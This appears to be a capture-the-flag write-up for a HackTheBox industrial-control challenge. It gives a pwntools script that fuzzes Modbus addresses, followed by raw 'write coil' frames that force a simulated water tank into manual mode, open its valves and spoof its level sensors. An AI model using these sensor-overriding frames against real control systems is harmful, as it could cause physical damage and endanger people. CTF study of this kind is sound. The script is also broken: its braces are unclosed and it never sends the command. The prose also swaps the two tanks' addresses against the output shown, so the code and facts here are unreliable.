We only want to write a single coil at a time, so we will exclusively use the command 5, the coils are described on page 5, and values are either 0x0000 (logical 0) or 0xFF00 (logical 1). We are only missing out on the equipment's addresses.

I had to fuzz the addresses because there are not given in the PDF file. I used the following script.

from pwn import *

def get_state(r):
    state = ""
    r.recvuntil(b"cmd> ")
    state += r.recvuntil(b"\n\n").decode()
    state += r.recvuntil(b"\n\n").decode()
    return state

HOST = ""
PORT = 30795
r = remote(HOST, PORT)

initial_state = get_state(r)

equipments = {
    "water": {
        "addr": None,
        "init_cmd": b"0500C8FF00"
    "mixer": {
        "addr": None,
        "init_cmd": b"05002DFF00"

for i in range(256):
    for equipment in equipments:
        cmd = b"modbus " + hex(i)[2:].upper().encode() + equipments[equipment]["init_cmd"]
        r.recvuntil(b"cmd> ")

        current_state = get_state(r)

        if current_state != initial_state:
            equipments[equipment]["addr"] = hex(i)
            if all([equipments[e]["addr"] for e in equipments]):
                initial_state = current_state

    print(f"[*] Try n°{i+1}")
    'water': {
        'addr': '0x88',
        'init_cmd': b'0500C8FF00'
    'mixer': {
        'addr': '0x35',
        'init_cmd': b'05002DFF00'

According to this output, our water tank has the address 0x35, and the mixer tank has the address 0x88.

Let me give you the solution, I'll explain afterward:

// Water tank
880500C8FF00 // switch to manual mode
88050538FF00 // force water in
880504D2FF00 // force water out
880500400000 // deactivate low sensor

// Mixer
35050044FF00 // activate high sensor 

Our goal is to get the water flowing from top to bottom, which means opening both tanks in/out valves.

Here is our initial state.

{"auto_mode": 1, "manual_mode": 0, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 0, "start": 0, "low_sensor": 1, "manual_mode_control": 0, "cutoff": 0, "force_start_out": 0, "force_start_in": 0, "flag": "HTB{}"}

mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 0, "out_valve": 0, "in_valve": 0, "start": 0, "low_sensor": 0, "high_sensor": 0}

To be able to modify any value, we have to switch to manual mode, which is the first command. Then, have a look at page 3 of the manual, which I said was important. Our goal is to get both in_valve and out_valve activated. By keeping in mind that we are in manual mode, we just have to follow the path. For the in_valve for example.

force_start_in + manual_mode + !high_sensor + !halt

We already activated the manual_mode, the high_sensor is not activated by default, and I assumed that halt was the cutoff register (at least it behaves the same, so we have to keep it deactivated). We just have to flip force_start_in to on!

It's the same logic for the out_valve, at the exception that the low_sensor is activated, so we have to deactivate it.

At this point, our system looks like this.

{"auto_mode": 0, "manual_mode": 1, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 1, "start": 0, "low_sensor": 0, "manual_mode_control": 1, "cutoff": 0, "force_start_out": 1, "force_start_in": 1, "flag": "HTB{}"}

mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 1, "out_valve": 0, "in_valve": 0, "start": 0, "low_sensor": 0, "high_sensor": 0}

Notice that the mixer has now the in_vale_water to 1, but the in_vale to 0. This is because the mixer has 2 inputs: the water and the chemical tank. The water flows through the water tank, and inside the mixer tank. We just have to make it flow out of there.

Based on the diagram on page 4, we have to put the mixer tank in drain mode (the only mode where it would make sense for water to flow out). The only requirement seems to be an activated high_sensor.

Congratulations! Here is the final state.

{"auto_mode": 0, "manual_mode": 1, "stop_out": 0, "stop_in": 0, "high_sensor": 0, "in_valve": 1, "out_valve": 1, "start": 0, "low_sensor": 0, "manual_mode_control": 1, "cutoff": 0, "force_start_out": 1, "force_start_in": 1, "flag": "HTB{w45n7_7h47_h42d_4f732411_w45_17?!mc023}"}

mixer:{"auto_mode": 0, "in_vale": 0, "in_vale_water": 1, "out_valve": 1, "in_valve": 0, "start": 0, "low_sensor": 0, "high_sensor": 1}


I loved this CTF. I had the opportunity to participate in the University edition of Hackthebox's CTF, and make it to the final with my classmates. The challenges were great back then, and I was not disappointed this time either. It was also my first opportunity to be part of a CTF with my colleagues, and I had a great time with them.

Overall, the difficulty was quite high, in comparison to other CTF I played, but rather do this and learn something than finish on top and just repeat things I know!